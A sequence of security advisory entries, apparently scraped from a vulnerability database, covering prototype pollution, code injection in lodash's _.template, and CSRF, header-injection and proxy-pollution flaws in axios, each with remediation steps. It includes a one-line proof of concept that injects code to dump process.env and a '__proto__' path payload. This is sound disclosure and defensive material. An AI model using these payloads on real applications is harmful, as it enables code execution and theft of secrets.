lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade merge to version 2.1.1 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

lodash is a modern JavaScript utility library delivering modularity, performance, & extras.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

Upgrade lodash to version 4.17.21 or higher.

References

• GitHub Commit
• Vulnerable Code
• Nuclei Templates

Overview

lodash.template is a The Lodash method _.template exported as a Node.js module.

Affected versions of this package are vulnerable to Code Injection due the improper validation of options.variable key names in _.template. An attacker can execute arbitrary code at template compilation time by injecting malicious expressions. If Object.prototype has been polluted, inherited properties may also be copied into the imports object and executed.

PoC

var _ = require('lodash');

_.template('', { variable: '){console.log(process.env)}; with(obj' })()

Remediation

There is no fixed version for lodash.template.

References

• GitHub Commit
• Vulnerable Code
• Nuclei Templates

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Cross-site Request Forgery (CSRF) due to inserting the X-XSRF-TOKEN header using the secret XSRF-TOKEN cookie value in all requests to any server when the XSRF-TOKEN0 cookie is available, and the withCredentials setting is turned on. If a malicious user manages to obtain this value, it can potentially lead to the XSRF defence mechanism bypass.

Workaround

Users should change the default XSRF-TOKEN cookie name in the Axios configuration and manually include the corresponding header only in the specific places where it's necessary.

Remediation

Upgrade axios to version 0.28.0, 1.6.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Issue
• GitHub PR

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to HTTP Response Splitting via the parseTokens header processing path in lib/core/AxiosHeaders.js. An attacker can smuggle HTTP requests or inject arbitrary headers by supplying a header value containing \r\n, which Axios merges into an outbound request. Under specific conditions, this can be used to exfiltrate cloud metadata tokens, pivot into internal services, or poison downstream HTTP traffic.

Notes

• Exploitation requires prior successful prototype pollution in a third-party dependency, enabling attacker-controlled header data to flow into Axios via configuration merging or AxiosHeaders.set(...).
• IMDSv2 token exfiltration (described in the original vulnerability report as another step in the exploit chain following the smuggling of a PUT request) further depends on the application running in an AWS environment with instance metadata access enabled, and on the Axios process having network access to the metadata endpoint.
• A possible but uncommon vector mentioned in the maintainers' advisory relies on the use of a non standard Axios transport mechanism, e.g. a custom adapter, to bypass Node.js header validation, thereby permitting malformed or injected header values to be transmitted without rejection. In most cases, this vector is blocked by Node.JS's built in header validation.

Remediation

Upgrade axios to version 0.31.0, 1.15.0 or higher.

References

• GitHub Commit
• GitHub Commit (v1 backport)
• GitHub PR
• GitHub Release
• Maintainer's Advisory

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Prototype Pollution through the config.proxy property in the HTTP adapter, which accesses properties via the prototype chain. An attacker can intercept and modify all HTTP requests and responses, including sensitive authentication credentials, by polluting the Object.prototype with a malicious proxy object. This allows the attacker to route all HTTP traffic through a proxy server under their control, enabling full visibility and manipulation of data in transit.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

• Unsafe Object recursive merge

• Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

• Application server

• Web server

• Web browser

How to prevent

1. Freeze the prototype— use Object.freeze (Object.prototype).

2. Require schema validation of JSON input.

3. Avoid using unsafe recursive merge functions.

4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade axios to version 0.32.0, 1.16.0 or higher.

References

• GitHub Commit
• GitHub Commit
• Maintainer's Advisory